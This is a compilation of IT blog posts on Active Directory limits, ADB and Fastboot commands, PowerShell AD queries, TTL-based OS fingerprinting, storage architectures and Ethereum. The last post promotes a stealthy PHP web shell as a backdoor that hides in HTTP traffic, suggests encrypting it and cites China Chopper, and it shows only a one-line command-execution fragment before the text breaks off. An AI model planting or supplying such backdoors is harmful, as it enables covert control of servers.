2012, the default value of the MaxTokenSize registry entry is 48,000 bytes.#Maximum number of non-linked attribute valuesThe Active Directory database stores non-linked attribute values in a linked directory that has to fit on a database page. This results in a maximum limit of non-linked attribute values of approximately 1300 entries for an object that carries only this attribute. In real-world deployments, errors begin to occur when reaching approximately 1200 attribute values.The status code is 0x00000b and maps to error "LDAP_ADMIN_LIMIT_EXCEEDED Administration limit on the server has exceeded."For example, this limit might be reached when there are many DNS records on a single DNS name. That’s the case when an Active Directory domain has many DCs.#Maximum size of Active Directory objectsTo change an attribute with a lot of data, the new and old values must be stored in the database transaction. That allows to roll back the transaction if the database is closed in the middle of the transaction. The maximum size of a transaction limits the total blob size of attribute value data to approximately 5 MB.The limit of the maximum number of group members prior to link-value replication and to the maximum number of transactions in group membership changes actually exist because of the maximum size of an AD transaction you can have.Instances of this limit being reached occur with DFS volumes prior to Windows Server 2008. In versions prior to Window Server 2008, all DFS volume meta-data was stored in a single attribute “PKT” for the volume. When this attribute is updated, the total size of the transaction sometimes exceeds the database limit, causing the update to fail.Starting with Windows Server 2008, DFS-N added version 2 namespaces where each DFS target is stored in a separate Active Directory object, thus avoiding this limit. --- ## What is FastBoot and ADB (Android Debug Bridge) Link: https://farukguler.com/posts/adb-android-debug-bridge/ 1) ADB; is a versatile command line tool that lets you communicate with an Android device. It has functions such as ADB commands, application installation, debugging, taking screenshots from the device. You can also transfer files bidirectionally via ADB.It can also perform many other actions, such as installing a custom ROM (replacing the manufacturer's Android). Client: The client runs on your development machine. You can invoke the client from terminal with ADB commands.ADBD (Service): A daemon that runs commands on the device.Client (Server): Manages the communication between the client and the background program. 2) Fastboot; is a menu used on Android devices. Through this menu, you can reinstall the Android operating system on your Android device and perform the boot operations. It is a menu that is generally used to install Rom on the phone. In addition to the official version via Fastboot, you can use the Beta versions opened for developers by installing them on your device. How ADB Works? When you start ADB, the client first checks to see if there is a running ADB server process. If not, the server starts the process. When the server first starts, it connects to 'local' TCP port 5037 and listens for requests from the client. All clients use port 5037 to communicate with the server. Then the server connects with all running devices and the first 16 devices establish ports with odd numbers in the range of 5555 to 5585. Note that every emulator links with an even number. For example;Emulator 1, console : 5554Emulator 1, adb : 5555Emulator 2, console : 5556Emulator 2, adb : 5557…………...………. If the server has successfully connected to all devices, you can access them using adb commands. You can control it from any client or script. A) How to Install ADB ? How to turn on USB Debugging?Step #1: Enter Settings,Step #2: Enter the system partition,Step #3: Go to About phone section,Step #4: Tap the Build number line 4 times in a row,"You are now a developer" will appear on the screen.Step #5: Go back to Settings,Step #6: Tap on the Developer Options line,Step #7: You can turn “USB Debugging” on or off on the bottom line,If you're not a developer, we recommend keeping it turned off. B) ADB setup and setup for Windows #Adb driver download links are at the end of the article.-Download the ADB ZIP file for Windows-Extract the contents of this ZIP file to a folder-Enter the extracted file-Then, hold down Shift and right-click here and click "open command system here"-Connect your phone or tablet to your computer with a USB cable-Change your USB mode to file transfer mode (Some phones may want it, some don't)-To see the devices that start ADB in the background, type the "adb devices" command in the command prompt we opened-A warning will appear on the screen of your phone as allow or not to allow USB Debugging mode.-Finally, enter the "adb devices" command again and you will see the device name or ip address C) Installation (for Linux devices) -Extract the zip content on your desktop. Open a command prompt or terminal.-Now go to the folder where you extracted the ADB content and enter the following command:cd /path/to/extracted/folder/-Now you need to connect your phone to your Linux PC.-Finally, enter the following command to check the connection between your Phone and Mac PC"adb devices" D) ADB setup and setup for macOS-Download the ADB ZIP file for macOS-Extract the contents of this ZIP file to a folder-Open the terminal,-Go to the location where you extracted the ADB example; cd/Users/Theguler/Desktop/adb-tools-Connect your phone or tablet to your computer with a USB cable-Enable file transfer mode (MTP)-A warning will appear on your phone's screen as allow or disallow USB Debugging mode.-Finally, enter the "adb devices" command again and you will see the device name or ip address E) Connecting to a device via Wi-Fi using ADB:ADB usually communicates with the device via USB, but you can also use adb over Wi-Fi after the initial setup via USB as below. Setup to use with ADB Wi-Fi: -Connect your Android device and your device using ADB to the same wireless network.-Connect the device to the device you are using ADB with a USB cable-Set the target device to listen for a TCP/IP connection on port 5555 by saying adb tcpip 5555 -Disconnect the USB cable from the target device-See the IP address of your device by saying Settings>Wifi Settings>Advanced Connect to the device with IP address "adb connect device_ip_address"-You can use the adb devices command to see if it is connected. ALL ADB and FastBoot Commands: #ADB Debugging adb devices :Displays the list of connected devices. adb devices -l :detailed adb forward --list :Lists all socket connections. adb forward tcp:xxxx tcp:yyyy :xxxx allows port forwarding to yyyy. adb kill-server :Kills the server process. #Wireless adb connect :It is used to establish a connection with the target device. adb tcpip 5555 :Sets the target device to listen for a TCP/IP connection on port 5555. adb connect 192.168.xx.xxx :Connects to a device over Wi-Fi. adb devices :Lists all devices connected to ADB. adb usb :Reboots in usb mode #Package Manager adb install :Used to install on the target device. adb install test.apk :You can transfer and install a single package. adb install-multiple test.apk test2.apk :You can transfer and install multiple apks. adb install-multi-package test.apk demo.apk :You can transfer multiple apks to the device and install them atomically. adb install -r test.apk :You can reinstall the application while preserving the existing data. adb install -t test.apk :You can allow test packages. (only for debuggable packages) adb install -d test.apk :Allows version code to downgrade (For debuggable packages only) adb install -g test.apk :Grant all runtime permissions ( Grant all permissions listed in the app manifest. adb install --instant test.apk :Allows the application to be installed as a temporary install. adb install --fastdeploy test.apk :It causes fast installation. adb install --no-streaming test.apk :Allows installing the apk by always calling the package manager as separate steps. #ADB uninstall, shell and pm commands adb uninstall test.apk :It is used to delete test.apk from the device adb unistall -k test.apk :Stores the data in the cache, then performs deletion. adb shell pm list packages :Lists all packages adb shell pm list packages -f :Related packages are listed adb shell pm list packages -a :All known packages are listed (except APEXs) adb shell pm list packages –apex—only :Lists only APEX packages adb shell pm list packages -d :Lists only disabled packages adb shell pm list packages -e :Lists only active packages adb shell pm list packages -s :Lists only system packages adb shell pm list packages -3 :Lists only third-party packages adb shell pm list packages -i :Shows installation files only. adb shell pm list packages -U :Show package Uid adb shell pm list packages -u :Include uninstalled packages adb shell pm list packages –show-versioncode :For Version version adb shell pm list packages –uid UID :Shows only packages with this uid adb shell pm list packages -user USER_ID :Shows subpackages with the specified id adb shell pm path com.android.chrome :Print the name of the apk path of the installed package name adb shell pm clear com.test.abc :Deletes all data associated with the package. #File Manager adb pull/mny/sdcard/Download/test.apk pc.apk :Copy files from your Android device adb push pc.apk mnt/sdcard/Download/test.apk :Allows you to copy files from your local device to your Android device adb shell ls /system/bin :Lists file paths and files adb shell ls -a :Lists all confidential files adb shell ls -d :Lists file paths only adb shell ls -R mntsdcard/Download :Recursive subfolders lists adb shell cd /mnt/sdcard/Download :You change the file path adb shell rm /mnt/sdcard/Download/test.apk :rm is a command line utility for removing files, directories and symlinks adb shell rm -f /mnt/sdcard/Download/test.apk :Forcibly removes without confirmation. adb shell rm -i /mnt/sdcard/Download/test.apk :Uninstall process with confirmation. adb shell rm -rR /mnt/sdcard/Download :Recursively removes the directory. adb shell rm -v /mnt/sdcardDownload/test.apk :It provides information and removes it. mkdir /sdcard/tmp :Used to create a directory. mkdir -m 777 sdcard/tmp set permission mode :Creates a directory by specifying permissions. mkdir -p sdcardtmp/sub1/sub2 create parent directories as needed :Creates the necessary directory structure and creates the directory. adb shell touch mntsdcard/Download/test.txt :Used to generate timestamps of a file. adb shell pwd :It is used to change the password. cp sdcard/test.txt sdcard/demo.txt :used to copy the file. adb shell mv mnt/sdcard/Download/test.txt mnt/sdcard/DCIM/test.txt :Used to move files and directories from one place to another. adb shell mv -f mnt/sdcard/Download/test.txt mnt/sdcard/DCIM/test.txt :Moves the desired file to the desired directory and deletes the file from the old directory. adb shell mv -i /mnt/sdcard/Download/test.txt /mnt/sdcard/DCIM/test.txt :Gives a warning if there is a file with the same name in the directory to be moved. adb shell mv -n /mnt/sdcard/Download/test.txt /mnt/sdcard/DCIM/test.txt :If there is a file with the same name in the directory to be moved, it will not overwrite. #Fastboot commands fastboot devices : Shows connected devices on your PC/laptop fastboot reboot : To reboot your device fastboot reboot recovery : To put your device into recovery mode fastboot oem device-info :To check bootloader unlock status: fastboot oem unlock : If the above command doesn't work, run the following to unlock the bootloader fastboot flashing unlock : A few OEMs can use this command to unlock the bootloader fastboot flashing unlock_critical :Allow bootloader related partitions to be flashed as well: fastboot oem device-info :check bootloader unlock fastboot flash recovery [recovery.img] : To flash the recovery process on your device fastboot boot [boot.img] : To test recovery without flashing permanently fastboot format:ext4 userdata :To format the data partition fastboot flash boot [boot img name] : flash flashable boot.img with fastboot mode fastboot getvar cid : Check the phone's display CID #Flashing ROM with Fastboot ROM zip pack fastboot -w fastboot update <ROM's location line.zip> : Erases device and flashes flash.zip #ADB errors: Common error messages and solutions Command Not Found: You made a mistake or the command is not yet available in your version of ADB. Check the command with the help of adb or update to a newer ADB version. No Device: Your USB cable is not connected properly, the ADB interface on your phone is not working or your computer does not recognize your smartphone. Try using a different USB port, another cable, enable USB debugging, check drivers, computer and reboot your device. Server is out of date: ADB Tools on your computer and Android version on your smartphone must be compatible. If they don't, this error occurs. Update your ADB Tools version. Waiting for device: This error is largely the same as the No Device error. Your computer does not recognize your smartphone. Fastboot menu key combinations for each brand: Samsung: Power button, Volume down and Home HTC: Power button and volume down LG: Press and hold the "phone up" and "volume up" buttons at the same time. Do not forget to connect the USB cable from the phone to the computer while doing this. Huawei: Press and hold the "volume down" and "volume up" keys at the same time. On some Huawei phones they are the "phone up" and "volume down" keys Xiaomi: Press “volume up” and “Power” at the same time. On some Xiaomi phone models, they are the "Power" and "volume down and up" keys. Is it safe to leave USB Debugging mode on? USB Debugging, which enables the connection of Android devices with computers and is the companion of developers, is an option that is recommended to be turned off if not needed. Enabling USB Debugging leaves your Android device vulnerable to many dangers. Even charging your device in a public area with this feature turned on is a problem for your device. When a malicious user takes over your device, if the USB Debugging feature is active, they can access the device without the need for any PIN. If you do not constantly connect your Android device to your computer or do not have a routine operation with USB Debugging, we recommend leaving this setting off. Thus, you will take the right move to protect your device. What can be done with USB Debugging? With USB Debugging, you can speed up the application development process, use advanced commands and Root your device by connecting your Android device to a computer. In addition to all this, you can also use USB Debugging to send ADB (Android Debug Bridge) commands to your Android device. In this way, you can install an APK file on the computer to the device and even perform a recovery of a device that does not work. Adb driver and Fastboot download Links: Windows: https://adbdriver.com/downloads/ Linux: https://dl.google.com/android/repository/platform-tools_r30.0.5-linux.zip Mac/OS: https://dl.google.com/android/repository/platform-tools_r33.0.2-darwin.zip Minimal ADB and Fastboot: Minimal ADB and Fastboot Tool is a small utility created by shimp208 (xda developer) that allows you to install the latest version of adb and fastboot files on your computer without needing to install the whole android sdk package. Features of Minimal ADB and Fastboot ToolLightness : The total installation of Minimal ADB and Fastboot tool is only 2mb (for those who don't know, the android sdk package is more than 500mb). Installer : You don't need to do manual action for minimal adb and fastboot tool, just run setup and it will install files in C: Program Files/Minimal ADB and Fastboot folder. Quick Installation : It takes a few seconds to install on the computer as the minimum adb and fastboot installation package is almost 2mb Download link: https://xiaomitools.com/minimal-adb-and-fastboot Saygılarımla – Best regards --- ## What is (WAC) Windows Admin Center ? Link: https://farukguler.com/posts/wac-windows-admin-center/ Windows Admin Center is a Microsoft product that allows managing Windows servers and other devices running the Windows operating system through a central interface. Windows Admin Center brings together network management, server management, storage management, security monitoring, event log monitoring, virtual machine management and many more administrative tasks in a single console. Windows Admin Center is especially useful for remote server management. This allows you to easily monitor and manage remote servers with a central interface, so you don't have to physically be at the server's location. Additionally, thanks to the extensibility of Windows Admin Center with a number of extensions and plug-ins, it supports a variety of server roles and functions. Windows Admin Center has a web-based interface and can be accessed via browser. This provides a user-friendly way to remotely manage Windows servers and other Windows devices. You can access the installation file from the link below; https://www.microsoft.com/en-us/cloud-platform/windows-admin-center Öğrenmeye aç kalın – Stay hungry to learn --- ## Network Policy and Access Services (NPAS) Link: https://farukguler.com/posts/network-policy-and-access-services-npas/ In summary, NPS is a Windows Server role where you can create and manage various security and network access policies for your users who will make VPN connections. Network policy and access services – NPAS is basically a server role that helps you maintain the health and security of your corporate network. This server role includes the following components. Network Policy Server (NPS) · Health Registration Authority (HRA) Host Credential Authorization Protocol (HCAP) Network Policy Server (NPS) NPS is a network component of the Windows server system. With this component, you can create network access policies at the organization level. Thanks to these rules, you can set the protocols to be used in the health check, authentication and authorization processes of the clients that will connect to the company network. Again, a Windows server operating system with NPS can also act as a RADIUS Proxy, that is, it can direct incoming requests to a remote RADIUS server. Health Registration Authority (HRA) It is one of the NAP Components. Its main task is to provide certificates for clients with confirmed health. Thanks to this certificate, client machines with appropriate health status can securely communicate with clients in the other intranet over the IPSec protocol. In other words, it plays a fundamental role for IPSec rules in the NAP infrastructure. Host Credential Authorization Protocol (HCAP) HCAP is basically a protocol that enables Microsoft Network Access Protection (NAP) solution and Cisco Network Admission Control product to work together. In case of using HCAP with NPS and NAP, Cisco 802.1x clients can connect to our network through our existing access policies. --- ## VNC Virtual Network Computing Link: https://farukguler.com/posts/vnc-virtual-network-computing-sanal-ag-sistemi-nedir/ VNC (Virtual Network Computing) provides access to a network device containing graphic applications from another network or over the same network, allowing these applications to be used and managed remotely. A VNC server is installed on a remote device (Operator Panel, PC, Notebook) and a VNC client is installed on the client to be connected (PC, Notebook, Tablet, Mobile Phone). VNC enables the interaction of the installed server and client. The VNC server sends the graphical interface of the device it is working on to the VNC client in the form of an image stream using the RFB (Remote Framebuffer) protocol.The VNC client processes the data it receives and displays the screenshot on the remote device. Authentication occurs when VNC connects from client to server. When the authentication process is complete, the request for the desktop format and pixel format to be used is notified from the client to the server. As a result of the interaction, the screen view of the device to be connected is provided. Transactions can be made and managed when connected to this device via VNC. At the same time, it provides desktop access by seeing the screen, keyboard and mouse movements. --- ## Ethereum (ETH) Nedir? Akıllı Sözleşmeler ve Merkeziyetsiz Gelecek Link: https://farukguler.com/posts/ethereum-eth-nedir/ Ethereum (ETH), sadece bir kripto para birimi değil, merkeziyetsiz, açık kaynaklı ve akıllı sözleşme (smart contract) çalıştırabilen küresel bir “dünya bilgisayarıdır”. 2013 yılında Vitalik Buterin tarafından bir whitepaper ile tanıtılan ve 2015’te hayata geçirilen Ethereum’un temel amacı, Bitcoin’in “dijital para” (P2P nakit) vaadinin ötesine geçmektir. Bitcoin’i sadece “güvenli bir hesap makinesi” olarak düşünürseniz, Ethereum, üzerinde her türlü merkeziyetsiz uygulamanın (dApp) programlanıp çalıştırılabileceği, küresel, sansürlenemez bir bilgisayardır. ETH ise, bu devasa bilgisayarın çalışmasını sağlayan “yakıt”tır. Ethereum’un Temel İnovasyonu: Akıllı Sözleşmeler ve EVM Ethereum’un devrimi, “Akıllı Sözleşmeler” (Smart Contracts) konseptini hayata geçirmesidir. 1. Akıllı Sözleşmeler (Smart Contracts) Akıllı sözleşme, şartları doğrudan kodun içine yazılmış, kendi kendini yürüten bir sözleşmedir. Tıpkı bir otomat (vending machine) gibi çalışır: Olay: Siz makineye (sözleşmeye) 10 TL atarsınız. Kural: Eğer atılan para 10 TL ise… Yürütme: …o zaman içeceği (dijital varlığı) serbest bırak. Bu basit mantık, blockchain üzerinde aracı (banka, avukat, noter) olmadan çalıştırıldığında, durdurulamaz, geri döndürülemez ve şeffaf bir şekilde çalışır. Merkeziyetsiz Finans’tan (DeFi) NFT’lere kadar her şey bu teknoloji üzerine kuruludur. 2. Ethereum Sanal Makinesi (EVM - Ethereum Virtual Machine) Eğer akıllı sözleşmeler programlarsa, EVM de bu programların çalıştığı işletim sistemidir. EVM, Ethereum ağındaki binlerce bilgisayarda (node) aynı anda çalışan, küresel ve izole bir “sanal bilgisayar”dır. Bir geliştirici “Solidity” dilinde bir akıllı sözleşme yazdığında, bu kod EVM üzerinde yayınlanır ve ağdaki herkes bu kodun şartlarına güvenebilir. EVM, günümüzde endüstri standardı haline gelmiştir; Avalanche, Polygon, BNB Chain gibi birçok “EVM uyumlu” zincir, Ethereum’un bu başarılı işletim sistemini kopyalayarak yola çıkmıştır. “The Merge”: Kripto Tarihinin En Büyük Yükseltmesi Ethereum, 2015’ten 2022’ye kadar, Bitcoin gibi Proof-of-Work (PoW) adı verilen enerji yoğun bir madencilik sistemiyle çalıştı. 15 Eylül 2022’de, “The Merge” (Birleşme) olarak bilinen ve kripto tarihindeki en karmaşık teknik yükseltme olan bu olayla Ethereum, PoW’u terk ederek Proof-of-Stake (PoS) modeline geçti. Proof-of-Work (PoW): Madenciler, devasa bilgisayar gücü (enerji) harcayarak blokları çözer ve ETH kazanırdı. Proof-of-Stake (PoS): Artık madenci yok. Bunun yerine “Doğrulayıcılar” (Validators) var. Ağı güvence altına almak için fiziksel donanım yerine, sermayelerini (32 ETH) kilitlerler (stake ederler). Ağı dürüstçe doğrularlarsa yeni ETH ile ödüllendirilirler; hile yapmaya çalışırlarsa kilitledikleri ETH’leri kaybederler (“slashing”). Bu geçişin iki devasa sonucu oldu: %99.9 Enerji Verimliliği: Ethereum’un enerji tüketimi bir gecede %99.9’dan fazla azaldı. “Ultrasound Money” Tokenomiği: ETH’nin ekonomik modeli tamamen değişti. ETH Tokenomiği: “Ultrasound Money” (Sesten Hızlı Para) ETH, Ethereum “dünya bilgisayarının” çalışması için zorunlu olan “yakıt”tır ve bu yakıta “Gas” denir. Ağda yaptığınız her işlem (transfer, takas, NFT mint’leme) bir miktar “gas” gerektirir ve bu ücret ETH olarak ödenir. “The Merge” ve EIP-1559 (Ethereum İyileştirme Önerisi) yükseltmeleri, ETH’nin tokenomiğini Bitcoin’den bile daha güçlü hale getirmiştir: Staking (Talep Yaratma): Ağı güvence altına almak için yüz binlerce doğrulayıcı, milyonlarca ETH’yi kilitlemek zorundadır. Bu, ETH’yi dolaşımdan çeken devasa bir “talep havuzu” (demand sink) yaratır. EIP-1559 (Yakım Mekanizması): Ethereum’da ödenen “gas” ücretleri artık doğrulayıcılara gitmiyor. Ücret şu iki parçadan oluşur: Priority Fee (Bahşiş): İşleminizin öne çıkması için doğrulayıcıya verdiğiniz küçük bir “bahşiş”. Base Fee (Ana Ücret): Ağın yoğunluğuna göre belirlenen ana ücret. Bu ücretin %100’ü yakılır (BURN) ve kalıcı olarak dolaşımdan kaldırılır. Deflasyonist Mekanizma Ethereum, ağı güvence altına alan staker’lara ödül olarak yeni ETH basar (enflasyon). Ethereum, ağ kullanıldıkça işlem ücretlerinden (Base Fee) ETH yakar (deflasyon). Sonuç: Eğer ağdaki aktivite (ve dolayısıyla yakılan ETH) miktarı, staker’lara dağıtılan yeni ETH miktarından fazla olursa, ETH’nin toplam arzı o gün azalır. Bu, Ethereum’u potansiyel olarak deflasyonist bir varlık haline getirir. Ağ ne kadar çok kullanılırsa, o kadar çok ETH yakılır ve varlık o kadar kıtlaşır. Bu nedenle topluluk, Bitcoin’in “sağlam parasına” (Sound Money) karşılık ETH’ye “Ultra Sağlam Para” (Ultrasound Money) adını vermiştir. Ethereum’un Ölçeklenme Stratejisi: “Rollup Merkezli” Yol Haritası Ethereum Layer 1 (ana ağ), şu anda bile yavaş ve pahalıdır. Bunun nedeni, güvenlik ve merkeziyetsizlikten asla ödün vermemesidir. Ethereum’un ölçeklenme (hızlanma) stratejisi, ana ağı hızlandırmak değil, Layer 2 (L2) Rollup adı verilen çözümleri desteklemektir. Layer 2’ler (Arbitrum, Optimism, Base, zkSync vb.): Bunlar, Ethereum’un “üzerine” inşa edilmiş daha hızlı işlem katmanlarıdır. Binlerce işlemi kendi zincirlerinde toplar (rollup), bunları sıkıştırır ve tek bir kanıt olarak Ethereum ana ağına (L1) kaydederler. Ethereum’un Rolü: L1, bu L2’ler için nihai “güvenlik ve yerleşim katmanı” (security and settlement layer) olarak hizmet eder. Ethereum’un gelecekteki vizyonu (Danksharding vb.), bu L2’lerin Ethereum’a veri kaydetmesini daha da ucuzlatarak tüm ekosistemi ölçeklendirmektir. Son Düşünceler; Ethereum, sadece bir kripto para (ETH) değil, Merkeziyetsiz Finans (DeFi), NFT (ERC-721), DAO’lar (Merkeziyetsiz Otonom Organizasyonlar) ve tüm Web3 devriminin temelini oluşturan platformdur. “The Merge” ile enerji verimli Proof-of-Stake modeline geçen ve EIP-1559 ile deflasyonist bir ekonomik yapıya kavuşan Ethereum, “Rollup Merkezli” yol haritasıyla ölçeklenerek, internetin bir sonraki adımı için en büyük ve en güvenli “dünya bilgisayarı” olma konumunu pekiştirmektedir. --- ## Useful Powershell commands Link: https://farukguler.com/posts/useful-powershell-commands/ PS: #Enable / Command that allows us to get some attributes of active users: Get-ADUser -f * -pr * -searchbase “dc=guler,dc=com” | where {$_.enabled -eq “Enabled”} | select name, sAMAccountName, employeeID, department, distinguishedname | export-csv c:\liste.csv -delimiter “;” -NoTypeInformation -Encoding UTF8 #To retrieve deleted users: Get-ADObject -IncludeDeletedObjects -Filter {objectClass -eq “user” -and IsDeleted -eq $True} -Properties displayname, whencreated,whenchanged | select -Property displayname, whencreated,whenchanged | Export-csv -path C:\delete_user.csv -NoTypeInformation -Encoding Unicode #To attract members from a group: Get-ADGroupMember -identity “grup adı” | select samaccountname,name | Export-csv -path C:\grupuser.csv -NoTypeInformation #Get a List of Users with Password Never Expires Get-ADuser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | Select-Object DistinguishedName,Name,Enabled | Export-csv c:\pw_never_expires.csv -NoTypeInformation #To retrieve the last login dates of users in a specific OU: Get-ADUser -f * -pr * -searchbase “ou=test,dc=guler,dc=com” | where {$_.enabled -eq “Enabled”} | select name, lastlogindate | export-csv C:\user_lastlogon.csv -Encoding Unicode #To pull computer objects in a particular OU: Get-ADComputer -Filter * -SearchBase “OU=test, DC=guler, DC=com” -Properties OperatingSystem | Select Name, OperatingSystem | Format-Table -AutoSize | Out-File C:\comp.txt #To get the computer number only: Get-ADComputer -SearchBase “OU=TestOU,DC=guler,DC=com”` -Filter ‘OperatingSystem -like “*”‘ -Properties * | Select -Property Name,operatingSystem,@{Name=”LastLogon”; Expression={[DateTime]::FromFileTime($_.lastLogon).ToString()}} | # Export AD Computers to CSV file Export-CSV “C:\ADComputers.csv” -NoTypeInformation -Encoding UTF8 #sending a message to the screen of a device on the network: $name = read-host "Enter computer name " $msg = read-host "Enter your message " Invoke-WmiMethod -Path Win32_Process -Name Create -ArgumentList "msg * $msg" -ComputerName $name --- ## Google Books Downloader Link: https://farukguler.com/posts/google-books-downloader/ Google Books Downloader, Google Kitaplar'dan elektronik kitaplar indirmek için kullanılan bir yazılımdır. Bu program sayesinde, ücretsiz veya ücretli olarak sunulan binlerce kitabı bilgisayarınıza indirebilirsiniz. İndirilen kitaplar PDF veya JPG formatında kaydedilebilir. Google Books Downloader, Windows işletim sistemleri için kullanılabilen bir yazılımdır ve kullanımı oldukça basittir. Kullanıcılar, indirmek istedikleri kitabın URL'sini programa yapıştırarak indirme işlemini başlatabilirler. Program ayrıca, indirilen kitapları otomatik olarak düzenleyerek daha kullanışlı hale getirir ve sayfa numaralarını ve kitap başlıklarını içerecek şekilde kaydeder. Ancak, bazı ücretli kitapların indirilmesi yasal olmayabilir. Bu nedenle, Google Books Downloader'ı kullanmadan önce yerel yasalara ve Google Kitaplar hizmetinin kullanım koşullarına dikkatlice göz atmanızı öneririz. Google Books Downloader link: https://www.bestsevenreviews.com/google-books-downloader --- ## Detecting Operating Systems Using the Ping Command [TTL] Link: https://farukguler.com/posts/detecting-operating-systems-using-the-ping-command-ttl/ Device/OS Version Protocol TTL AIX   TCP 60 AIX   UDP 30 AIX 3.2, 4.1 ICMP 255 BSDI BSD/OS 3.1 and 4.0 ICMP 255 Compa Tru64 v5.0 ICMP 64 Cisco   ICMP 254 DEC Pathworks V5 TCP and UDP 30 Foundry   ICMP 64 FreeBSD 2.1R TCP and UDP 64 FreeBSD 3.4, 4.0 ICMP 255 FreeBSD 5 ICMP 64 HP-UX 9.0x TCP and UDP 30 HP-UX 10.01 TCP and UDP 64 HP-UX 10.2 ICMP 255 HP-UX 11 ICMP 255 HP-UX 11 TCP 64 Irix 5.3 TCP and UDP 60 Irix 6.x TCP and UDP 60 Irix 6.5.3, 6.5.8 ICMP 255 juniper   ICMP 64 MPE/IX (HP)   ICMP 200 Linux 2.0.x kernel ICMP 64 Linux 2.2.14 kernel ICMP 255 Linux 2.4 kernel ICMP 255 Linux Red Hat 9 ICMP and TCP 64 MacOS/MacTCP 2.0.x TCP and UDP 60 MacOS/MacTCP X (10.5.6) ICMP/TCP/UDP 64 NetBSD   ICMP 255 Netgear FVG318   ICMP and UDP 64 OpenBSD 2.6 & 2.7 ICMP 255 OpenVMS 07.01.2002 ICMP 255 OS/2 TCP/IP 3.0   64 OSF/1 V3.2A TCP 60 OSF/1 V3.2A UDP 30 Solaris 2.5.1, 2.6, 2.7, 2.8 ICMP 255 Solaris 2.8 TCP 64 Stratus TCP_OS ICMP 255 Stratus TCP_OS (14.2-) TCP and UDP 30 Stratus TCP_OS (14.3+) TCP and UDP 64 Stratus STCP ICMP/TCP/UDP 60 SunOS 4.1.3/4.1.4 TCP and UDP 60 SunOS 5.7 ICMP and TCP 255 Ultrix V4.1/V4.2A TCP 60 Ultrix V4.1/V4.2A UDP 30 Ultrix V4.2 – 4.5 ICMP 255 VMS/Multinet   TCP and UDP 64 VMS/TCPware   TCP 60 VMS/TCPware   UDP 64 VMS/Wollongong 1.1.1.1 TCP 128 VMS/Wollongong 1.1.1.1 UDP 30 VMS/UCX   TCP and UDP 128 Windows for Workgroups TCP and UDP 32 Windows 95 TCP and UDP 32 Windows 98 ICMP 32 Windows 98, 98 SE ICMP 128 Windows 98 TCP 128 Windows NT 3.51 TCP and UDP 32 Windows NT 4.0 TCP and UDP 128 Windows NT 4.0 SP5-   32 Windows NT 4.0 SP6+   128 Windows NT 4 WRKS SP 3, SP 6a ICMP 128 Windows NT 4 Server SP4 ICMP 128 Windows ME ICMP 128 Windows 2000 pro ICMP/TCP/UDP 128 Windows 2000 family ICMP 128 Windows Server 2003   128 Windows XP ICMP/TCP/UDP 128 Windows Vista ICMP/TCP/UDP 128 Windows 7 ICMP/TCP/UDP 128 Windows Server 2008 ICMP/TCP/UDP 128 Windows 10 ICMP/TCP/UDP 128 --- ## iSCSI (Internet Small Computer System Interface) Why? Link: https://farukguler.com/posts/iscsi-internet-small-computer-system-interface/ iSCSI: It is a method of connecting data storage devices (Storage) on it to each other over TCP/IP protocol. For example, availableYou have a Storage in your structure and this is a system that allows you to use the Disks in Storage as if they were on a local computer by creating Virtual Disks (virtual Disks) on all computers in the Network environment. Umarım faydalı olmuştur. – Best regards. --- ## About Storage Architectures Storage Mimarileri Link: https://farukguler.com/posts/storage-mimarileri/ 1- Local Disk: Sabit disk ya da Hard(ware) disk kısaca HDD ya da SSD veri depolanması amacı ile kullanılan manyetik kayıt ortamlarıdır. 2- NAS (Network Arae Storage) Bir network hatları üzerinden TCP/IP üzerinden sunucuların storage e ulaşması işlemi demektir. Genelde küçük ve orta yapıdaki kurum ve işletmelerde kullanılır. NAS Cihazı: Web arayüzü ile lunlara erişip configure ederek kullandığımız fiziksel cihazdır. sunucularınızı network üzerinden bu storage bağlarız.bu cihazında en az 2 nic kartı olması ve hızlı olması istenir ve yedeklilik adına teaming yapılması önerilir. 3- SAN: (Storage Area Network) Tamamen kendi altyapısı kullanır. NAS sistemlere göre daha hızlı ve stabildir. TCP/IP Switchleri ve Network altyapısı kullanmaz. tamamen storage üzerine dizayn edilmiş en üst Segment altyapı olduğu söylenebilir. NAS'tan en büyük farkı network altyapısı kullanmaz tamamen kendi SAN switchde denilen kendi altyapısını kullanır. HBA(Host Bus Adapter) adı verilip sunucular üzerine takılan farklı kartlar kullanır. -(FC) Fibre Channel  -(GbE) Gigabit Ethernet Adaptor SAN Cihazı-Sistemleri: üzerinde 2 tane controller vardır. TCP/IP Switchleri ve Network altyapısı kullanmaz bu sebeple bir ip adreside yoktur. 4- VSAN: (Virtual Storage Area Network) Bir software yardımıyla Fiziksel Disklerden ortak sanal bir storage yaratılmasıdır. 5- DAS: (Direct Attached Storage) Bir bilgisayar ağı üzerinden erişilen depolamanın aksine, kendisine erişen bilgisayara doğrudan bağlı dijital depolamadır. DAS, harici bir muhafaza içindeki sabit sürücüler, katı hal sürücüleri, optik disk sürücüleri gibi bir veya daha fazla fiziksel depolama biriminden oluşur. RAID: (Redundant Array of Independent Disks) sabit sürücülerde veri okuma ve yazma için birden fazla sabit sürücüyü aynı anda farklı şekillerde kullanarak yapılan veri depolama yapılandırmasıdır. RAID, tek bir mantıksal sürücüyü, çoklu diskler üzerinde birleştirir. Bu şekilde işletim sistemi birçok farklı sabit disk görmek yerine sadece bir tane görür. Tek sürücüye göre RAID kombinasyonları; veri bütünlüğünü/güvenliğini sağlar, hata toleransını azaltır, verileri korur, performansı ve disk kapasitesini arttırır. Yazılımsal ve Donanımsal olarak ikiye ayrılırlar. Yazılımsal raid, ek bir donanıma ihtiyaç duymayacağı için genellikle Windows işletim sistemlerinde kullanılır. Donanımsal raid için ise, bir raid kartı gerekir. Raid tipleri genel olarak: Raid0 , Raid1 , Raid5 , Raid6, Raid10, Raid50 seklindedir. Toplamda 13 adet raid tipi bulunmaktadır.  Umarım faydalı olmuştur. – Best regards. --- ## Encrypted Backdoor Secret Shell Link: https://farukguler.com/posts/backdoor-shell/ A webshell is a shell that you can access through the web. This is useful for when you have firewalls that filter outgoing traffic on ports other than port 80. As long as you have a webserver, and want it to function, you can't filter our traffic on port 80 (and 443). It is also a bit more stealthy than a reverse shell on other ports since the traffic is hidden in the http traffic. Caution: I found it appropriate to share it without encryption to show that there is no log hidden in the codes. But I recommend Encrypt. An example: China Chopper is a web shell approximately 4 kilobytes in size, first discovered in 2012. This web shell is commonly used by malicious Chinese actors, including advanced persistent threat (APT) groups, to remotely control web servers. This web shell has two parts, the client interface (an executable file) and the receiver host file on the compromised web server. <PHP:#Execute one command<?php system("ls -a"); 